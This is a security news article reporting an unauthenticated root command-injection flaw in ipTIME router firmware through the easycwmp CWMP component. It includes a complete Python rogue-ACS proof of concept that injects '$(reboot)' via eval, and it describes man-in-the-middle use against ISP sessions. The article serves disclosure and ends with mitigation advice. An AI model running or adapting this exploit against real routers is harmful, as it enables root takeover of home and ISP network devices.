Unauthenticated Root RCE Discovered in ipTIME Routers via CWMP Protocol
A critical vulnerability has been unearthed in ipTIME routers running firmware version 15.324, facilitating unauthenticated remote code execution. The flaw resides within the CPE WAN Management Protocol (CWMP), a standard utilized by Internet Service Providers (ISPs) to remotely orchestrate configuration adjustments, diagnostic evaluations, firmware deployments, and system reboots.
The defect was identified by the researcher parkminchan from SSD Labs Korea. Despite numerous attempts to engage ipTIME through formal channels—including direct correspondence and the Korea Internet & Security Agency (KISA)—the manufacturer has remained conspicuously unresponsive.
The vulnerability originates within the easycwmp component. In a standard operational sequence, the router establishes a connection with the ISP’s Auto Configuration Server (ACS), receives a SOAP message, and applies the transmitted parameters. However, in the ipTIME firmware, parameter values are sequestered into a temporary file without rigorous sanitization and subsequently executed via a root-level shell.
Within the /usr/share/easycwmp/functions/common script, the common_set_value_check_param() function ingests the transmitted argument, assigns it to a variable, and appends the command string to a temporary file:
Subsequently, the /usr/sbin/easycwmp binary processes the SOAP message from the ACS server, parsing the temporary file line-by-line to extract and execute the intended command:
The quintessential peril lies in the use of the eval command. The shell does not merely treat the string as passive data but interprets it as an executable directive. Consequently, a parameter value such as $(reboot) is transformed into a system call. Given that easycwmp operates with elevated privileges, the injected payload is executed with root authority.
To validate the exploit, the researcher engineered a rogue ACS server. A Python-based script responds to the router’s solicitation by transmitting a SetParameterValues SOAP command, embedding the payload $(reboot) within the InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time parameter.
[pastacode lang=”python” manual=”%23!%2Fusr%2Fbin%2Fenv%20python3%0Aimport%20sys%0Aimport%20html%0Aimport%20http.server%0A%0APAYLOAD%20%3D%20%22%24(reboot)%22%0APORT%20%3D%2080%0A%0ANS%20%3D%20(%0A%20%20%20%20’xmlns%3Asoap_env%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fenvelope%2F%22%20’%0A%20%20%20%20’xmlns%3Asoap_enc%3D%22http%3A%2F%2Fschemas.xmlsoap.org%2Fsoap%2Fencoding%2F%22%20’%0A%20%20%20%20’xmlns%3Axsd%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema%22%20’%0A%20%20%20%20’xmlns%3Axsi%3D%22http%3A%2F%2Fwww.w3.org%2F2001%2FXMLSchema-instance%22%20’%0A%20%20%20%20’xmlns%3Acwmp%3D%22urn%3Adslforum-org%3Acwmp-1-2%22’%0A)%0A%0AINFORM_RESP%20%3D%20(%0A%20%20%20%20f’%3C%3Fxml%20version%3D%221.0%22%3F%3E’%0A%20%20%20%20f%22%3Csoap_env%3AEnvelope%20%7BNS%7D%3E%22%0A%20%20%20%20’%3Csoap_env%3AHeader%3E%3Ccwmp%3AID%20soap_env%3AmustUnderstand%3D%221%22%3E%7Bid%7D%3C%2Fcwmp%3AID%3E%3C%2Fsoap_env%3AHeader%3E’%0A%20%20%20%20%22%3Csoap_env%3ABody%3E%3Ccwmp%3AInformResponse%3E%3CMaxEnvelopes%3E1%3C%2FMaxEnvelopes%3E%3C%2Fcwmp%3AInformResponse%3E%3C%2Fsoap_env%3ABody%3E%22%0A%20%20%20%20%22%3C%2Fsoap_env%3AEnvelope%3E%22%0A)%0A%0ASET_PARAM%20%3D%20(%0A%20%20%20%20f’%3C%3Fxml%20version%3D%221.0%22%3F%3E’%0A%20%20%20%20f%22%3Csoap_env%3AEnvelope%20%7BNS%7D%3E%22%0A%20%20%20%20’%3Csoap_env%3AHeader%3E%3Ccwmp%3AID%20soap_env%3AmustUnderstand%3D%221%22%3E1%3C%2Fcwmp%3AID%3E%3C%2Fsoap_env%3AHeader%3E’%0A%20%20%20%20%22%3Csoap_env%3ABody%3E%3Ccwmp%3ASetParameterValues%3E%22%0A%20%20%20%20’%3CParameterList%20soap_enc%3AarrayType%3D%22cwmp%3AParameterValueStruct%5B1%5D%22%3E’%0A%20%20%20%20%22%3CParameterValueStruct%3E%22%0A%20%20%20%20%22%3CName%3E%7Bname%7D%3C%2FName%3E%22%0A%20%20%20%20’%3CValue%20xsi%3Atype%3D%22xsd%3Astring%22%3E%7Bvalue%7D%3C%2FValue%3E’%0A%20%20%20%20%22%3C%2FParameterValueStruct%3E%3C%2FParameterList%3E%22%0A%20%20%20%20%22%3CParameterKey%3Ek%3C%2FParameterKey%3E%22%0A%20%20%20%20%22%3C%2Fcwmp%3ASetParameterValues%3E%3C%2Fsoap_env%3ABody%3E%22%0A%20%20%20%20%22%3C%2Fsoap_env%3AEnvelope%3E%22%0A)%0A%0AEMPTY%20%3D%20(%0A%20%20%20%20f’%3C%3Fxml%20version%3D%221.0%22%3F%3E’%0A%20%20%20%20f%22%3Csoap_env%3AEnvelope%20%7BNS%7D%3E%22%0A%20%20%20%20’%3Csoap_env%3AHeader%3E%3Ccwmp%3AID%20soap_env%3AmustUnderstand%3D%221%22%3E0%3C%2Fcwmp%3AID%3E%3C%2Fsoap_env%3AHeader%3E’%0A%20%20%20%20%22%3Csoap_env%3ABody%2F%3E%22%0A%20%20%20%20%22%3C%2Fsoap_env%3AEnvelope%3E%22%0A)%0A%0Asessions%20%3D%20%7B%7D%0A%0A%0Aclass%20Handler(http.server.BaseHTTPRequestHandler)%3A%0A%20%20%20%20def%20do_POST(self)%3A%0A%20%20%20%20%20%20%20%20body%20%3D%20self.rfile.read(int(self.headers.get(%22Content-Length%22%2C%200)))%0A%20%20%20%20%20%20%20%20ip%20%3D%20self.client_address%5B0%5D%0A%20%20%20%20%20%20%20%20step%20%3D%20sessions.get(ip%2C%200)%0A%0A%20%20%20%20%20%20%20%20if%20step%20%3D%3D%200%20and%20b%22Inform%22%20in%20body%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20cid%20%3D%20%221%22%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20b%22%3Ccwmp%3AID%22%20in%20body%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20i%20%3D%20body.index(b%22%3E%22%2C%20body.index(b%22%3Ccwmp%3AID%22))%20%2B%201%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20cid%20%3D%20body%5Bi%20%3A%20body.index(b%22%3C%2F%22%2C%20i)%5D.decode(errors%3D%22replace%22)%0A%20%20%20%20%20%20%20%20%20%20%20%20sessions%5Bip%5D%20%3D%201%0A%20%20%20%20%20%20%20%20%20%20%20%20self.respond(INFORM_RESP.format(id%3Dcid))%0A%0A%20%20%20%20%20%20%20%20elif%20step%20%3D%3D%201%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20sessions%5Bip%5D%20%3D%202%0A%20%20%20%20%20%20%20%20%20%20%20%20self.respond(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20SET_PARAM.format(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name%3Dhtml.escape(%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%22InternetGatewayDevice.X_IPTIME.ScheduleReboot.Time%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20)%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20value%3Dhtml.escape(PAYLOAD)%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20)%0A%20%20%20%20%20%20%20%20%20%20%20%20)%0A%0A%20%20%20%20%20%20%20%20else%3A%0A%20%20%20%20%20%20%20%20%20%20%20%20sessions.pop(ip%2C%20None)%0A%20%20%20%20%20%20%20%20%20%20%20%20self.respond(EMPTY)%0A%0A%20%20%20%20def%20respond(self%2C%20xml)%3A%0A%20%20%20%20%20%20%20%20data%20%3D%20xml.encode()%0A%20%20%20%20%20%20%20%20self.send_response(200)%0A%20%20%20%20%20%20%20%20self.send_header(%22Content-Type%22%2C%20%22text%2Fxml%22)%0A%20%20%20%20%20%20%20%20self.send_header(%22Content-Length%22%2C%20len(data))%0A%20%20%20%20%20%20%20%20self.end_headers()%0A%20%20%20%20%20%20%20%20self.wfile.write(data)%0A%0A%0Aif%20__name__%20%3D%3D%20%22__main__%22%3A%0A%20%20%20%20http.server.HTTPServer((%22%22%2C%20PORT)%2C%20Handler).serve_forever()” message=”” highlight=”” provider=”manual”/]
In a controlled laboratory setting, the router was configured to interface with the malicious ACS. In a production environment, the threat is even more acute: if a device is already utilizing CWMP to communicate with a legitimate ISP server, an adversary could orchestrate a Man-in-the-Middle (MITM) attack to intercept the exchange and subvert the SOAP commands. Upon successful interception, the attacker can transmit a bespoke parameter value, which the vulnerable easycwmp will dutifully record and execute via eval. This allows the command to run prior to any administrative login and without knowledge of the device’s credentials.
Pending a formal remediation from the manufacturer, users of susceptible hardware are advised to audit their CWMP usage, restrict access to remote management interfaces, and deactivate TR-069 protocols if they are not strictly requisite for ISP connectivity.
Support Our Threat Intelligence
If you find our technology report and cybersecurity news helpful, consider supporting our work.